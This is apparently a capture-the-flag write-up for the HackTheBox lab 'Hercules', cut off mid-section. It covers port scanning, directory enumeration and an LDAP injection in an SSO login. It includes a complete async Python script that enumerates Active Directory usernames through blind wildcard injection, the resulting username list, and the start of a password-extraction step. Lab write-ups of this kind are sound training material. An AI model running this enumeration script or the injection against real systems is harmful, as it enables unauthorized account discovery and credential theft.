Hercules HTB - Complete Writeup
12
Reconnaissance
Initial Nmap Scan
PORT STATE SERVICE VERSION
53/tcp open domain Simple DNS Plus
80/tcp open http Microsoft IIS httpd 10.0
|_http-title: Did not follow redirect to https://dc.hercules.htb/
|_http-server-header: Microsoft-IIS/10.0
88/tcp open kerberos-sec Microsoft Windows Kerberos (server time: 2025-10-20 07:36:53Z)
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
389/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
443/tcp open ssl/http Microsoft IIS httpd 10.0
|_http-title: Hercules Corp
445/tcp open microsoft-ds?
464/tcp open kpasswd5?
593/tcp open ncacn_http Microsoft Windows RPC over HTTP 1.0
636/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
3268/tcp open ldap Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
3269/tcp open ssl/ldap Microsoft Windows Active Directory LDAP (Domain: hercules.htb0., Site: Default-First-Site-Name)
5986/tcp open ssl/http Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
Service Info: Host: DC; OS: Windows; CPE: cpe:/o:microsoft:windows
Key Findings:
- Windows Domain Controller (DC.hercules.htb)
- Active Directory services (LDAP on multiple ports)
- Kerberos authentication (port 88)
- IIS web server with SSL redirect
- WinRM over SSL (port 5986)
website at https://hercules.htb/
Directory Enumeration
gobuster dir -u https://hercules.htb/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -k
Results:
/login
- Authentication portal/home
- Redirects to login/content
- Static resources
![[Pasted image 20251020105540.png]]
Initial Access - LDAP Injection in SSO Login
Vulnerability Discovery
The Hercules SSO login page contained a critical LDAP injection vulnerability. Analysis of the input validation revealed:
Flawed Regex Pattern:
data-val-regex-pattern="^[^!"#&'()*+,\:;<=>?[\]^`{|}~]+$"
Critical Omissions: The blacklist failed to block essential LDAP metacharacters:
*
(wildcard character)&
and|
(logical operators)
Exploitation Process
Step 1: Initial Testing Testing *
as username confirmed LDAP injection through differential response analysis.
Step 2: Boolean-Based Enumeration
- Valid prefixes returned "Login attempt failed"
- Invalid prefixes produced different responses
- Backend likely performed:
(&(objectClass=user)(sAMAccountName=INPUT))
Step 3: Automated Username Enumeration Developed a Python script using Breadth-First Search to systematically discover usernames:
#!/usr/bin/env python3
"""
Async LDAP username enumerator with parallel requests.
- Fetches fresh token/cookie before EVERY POST request
- Uses BFS approach with parallel character testing at each level
- Uses httpx for async requests
- Finds complete usernames efficiently
Requires: httpx
pip install httpx
"""
import asyncio
import httpx
import re
from collections import deque
from urllib.parse import quote
import time
# ---------------------------
# Config (edit for your target)
# ---------------------------
BASE = "https://10.10.x.x" # base URL (scheme + host)
LOGIN_PATH = "/Login" # POST target path
LOGIN_PAGE = "/login" # GET page to retrieve token/cookie
TARGET_URL = BASE + LOGIN_PATH # full POST URL
VERIFY_TLS = False # True if cert valid
USERNAME_FIELD = "Username"
PASSWORD_FIELD = "Password"
REMEMBER_FIELD = "RememberMe"
CSRF_FORM_FIELD = "__RequestVerificationToken" # form field name for token
CSRF_COOKIE_NAME = "__RequestVerificationToken"
# POST settings
PASSWORD_TO_SEND = "test"
DOUBLE_URL_ENCODE = True # Set True if you need double-encoding behavior
# Async settings
CONCURRENT_REQUESTS = 5 # Lower concurrency since we need fresh tokens
REQUEST_DELAY = 0.2 # Delay between batches to be polite
# BFS / charset
CHARSET = list("abcdefghijklmnopqrstuvwxyz0123456789.-_@")
MAX_USERNAME_LENGTH = 64 # safety limit to prevent infinite loops
VERBOSE = False
# Success indicator (valid user, wrong password)
SUCCESS_INDICATOR = "Login attempt failed"
# Simple regex to extract hidden input token
TOKEN_RE = re.compile(r'name=["\']{}["\']\s+type=["\']hidden["\']\s+value=["\']([^"\']+)["\']'.format(re.escape(CSRF_FORM_FIELD)), re.IGNORECASE)
class LDAPEnumerator:
def __init__(self):
self.valid_users = set()
def prepare_username_value(self, username: str, use_wildcard: bool = False) -> str:
"""Prepare username for sending with optional wildcard and encoding"""
username = username
if use_wildcard:
username = username + '*'
if not DOUBLE_URL_ENCODE:
return username
# Double-encode if needed
username = ''.join(f'%{byte:02X}' for byte in username.encode('utf-8'))
return username
# return quote(username, safe="")
async def fetch_token_and_cookie(self, client):
"""GET the login page and extract CSRF token and cookies"""
url = BASE + LOGIN_PAGE
try:
response = await client.get(url)
token = None
cookies = {}
# Get cookies from response
cookies = dict(response.cookies)
# Try to get token from cookie first
if CSRF_COOKIE_NAME in response.cookies:
token = response.cookies[CSRF_COOKIE_NAME]
if VERBOSE:
print(f"[i] Got token from cookie: {token[:10]}...")
# Try to parse from HTML
match = TOKEN_RE.search(response.text)
if match:
token = match.group(1)
if VERBOSE:
print(f"[i] Parsed token from HTML: {token[:10]}...")
return token, cookies
except Exception as e:
print(f"[!] Error fetching token: {e}")
return None, {}
async def test_single_username(self, username: str, use_wildcard: bool = False):
"""
Test a single username with fresh token/cookie for each request
"""
async with httpx.AsyncClient(
verify=VERIFY_TLS,
headers={
"User-Agent": "pentest-enum/1.0",
"Referer": BASE + LOGIN_PAGE,
"Origin": BASE,
"Content-Type": "application/x-www-form-urlencoded",
},
timeout=30.0,
# proxy="http://127.0.0.1:8080" # Adjust or remove if not using a proxy
) as client:
# Step 1: Get fresh token and cookies
token, cookies = await self.fetch_token_and_cookie(client)
if not token:
print(f"[!] Could not get token for '{username}', skipping")
return False
# Step 2: Prepare the POST request with fresh token and cookies
username_payload = self.prepare_username_value(username, use_wildcard)
data = {
USERNAME_FIELD: username_payload,
PASSWORD_FIELD: PASSWORD_TO_SEND,
REMEMBER_FIELD: "false",
CSRF_FORM_FIELD: token
}
try:
# Make POST request with fresh token and cookies
response = await client.post(
TARGET_URL,
data=data,
cookies=cookies,
follow_redirects=False
)
if 'appp' in response.text.lower():
print(f"skipping apppool account")
return False
is_valid = SUCCESS_INDICATOR in response.text
if VERBOSE:
status = "VALID" if is_valid else "invalid"
wildcard = " (*)" if use_wildcard else ""
print(f"[>] {username:20} -> {status}{wildcard}")
return is_valid
except Exception as e:
# if VERBOSE:
print(f"[!] Request failed for '{username}': {e}")
return False
async def test_username_batch(self, usernames, use_wildcard=False):
"""
Test a batch of usernames in parallel, each with its own fresh token/cookie
"""
if not usernames:
return {}
# Use semaphore to limit concurrency
semaphore = asyncio.Semaphore(CONCURRENT_REQUESTS)
async def bounded_test(username):
async with semaphore:
return username, await self.test_single_username(username, use_wildcard)
# Create tasks for all usernames
tasks = [bounded_test(username) for username in usernames]
# Execute all tasks concurrently
results_list = await asyncio.gather(*tasks)
# Convert to dictionary
results = {username: is_valid for username, is_valid in results_list}
return results
async def discover_first_characters(self):
"""Discover which first characters are valid by testing all charset in parallel"""
print(f"[*] Testing first characters: {''.join(CHARSET)}")
# Test all possible first characters in parallel
first_chars = [char for char in CHARSET]
results = await self.test_username_batch(first_chars, use_wildcard=True)
# Return characters that produced valid results
valid_chars = [char for char in first_chars if results.get(char, False)]
print(f"[+] Valid first characters: {''.join(valid_chars)}")
return valid_chars
async def extend_username(self, prefix):
"""Extend a username prefix by testing all next characters in parallel"""
if len(prefix) >= MAX_USERNAME_LENGTH:
return []
candidates = [prefix + char for char in CHARSET]
results = await self.test_username_batch(candidates, use_wildcard=True)
valid_extensions = [candidate for candidate in candidates if results.get(candidate, False)]
return valid_extensions
async def verify_exact_username(self, username):
"""Verify that a username is valid without wildcard"""
result = await self.test_single_username(username, use_wildcard=False)
return result
async def bfs_discover(self):
"""Main BFS discovery with parallel character testing"""
print("[*] Starting parallel BFS username discovery...")
# Start with discovering valid first characters
queue = deque(await self.discover_first_characters())
discovered_prefixes = set(queue)
complete_usernames = set()
level = 0
while queue:
level += 1
current_level_size = len(queue)
print(f"\n[*] Level {level}: testing {current_level_size} prefixes {set(queue)}")
next_level = []
# Process current level in batches
batch_size = CONCURRENT_REQUESTS
for i in range(0, len(queue), batch_size):
batch = list(queue)[i:i + batch_size]
# Test all extensions for this batch in parallel
extension_tasks = [self.extend_username(prefix) for prefix in batch]
extension_results = await asyncio.gather(*extension_tasks)
# Process extension results
for prefix, extensions in zip(batch, extension_results):
if not extensions:
# No extensions found, this might be a complete username
print(f"[+] testing username: {prefix}")
if await self.verify_exact_username(prefix):
if prefix not in complete_usernames:
complete_usernames.add(prefix)
print(f"[+] Found valid username: {prefix}")
else:
# Add valid extensions to next level
for extension in extensions:
if extension not in discovered_prefixes:
discovered_prefixes.add(extension)
next_level.append(extension)
# Small delay between batches to be polite
await asyncio.sleep(REQUEST_DELAY)
# Update queue for next level
queue = deque(next_level)
if VERBOSE and queue:
print(f"[*] Level {level} complete. Next level: {len(queue)} prefixes")
print(f"[*] Valid usernames so far: {sorted(complete_usernames)}")
# Safety check
if level > MAX_USERNAME_LENGTH:
print("[!] Reached maximum depth, stopping")
break
return sorted(complete_usernames)
async def main():
enumerator = LDAPEnumerator()
try:
results = await enumerator.bfs_discover()
print("\n" + "="*50)
print("DISCOVERY COMPLETE")
print("="*50)
if results:
print(f"Found {len(results)} valid usernames:")
for username in results:
print(f" - {username}")
else:
print("No valid usernames found.")
except Exception as e:
print(f"[!] Error during discovery: {e}")
if __name__ == "__main__":
asyncio.run(main())
Enumeration Results:
admin
auditor
administrator
will.s
mark.s
ashley.b
heather.s
stephen.m
patrick.s
jennifer.a
stephanie.w
jacob.b
bob.w
ken.w
joel.c
jessica.e
natalie.a
fiona.c
tanya.r
vincent.g
nate.h
rene.s
ray.n
elijah.m
clarissa.c
camilla.b
johanna.f
ramona.l
johnathan.j
angelo.o
adriana.i
zeke.s
tish.c
Password Extraction via Advanced LDAP Injection
Extended the LDAP injection to target the description
field in AD user objects, which often contains passwords or sensitive information.
Rate Limiting Considerations:
- 3 rapid requests triggered a 60-second IP ban
- Required careful timing and concurrency controls
Advanced Injection Technique: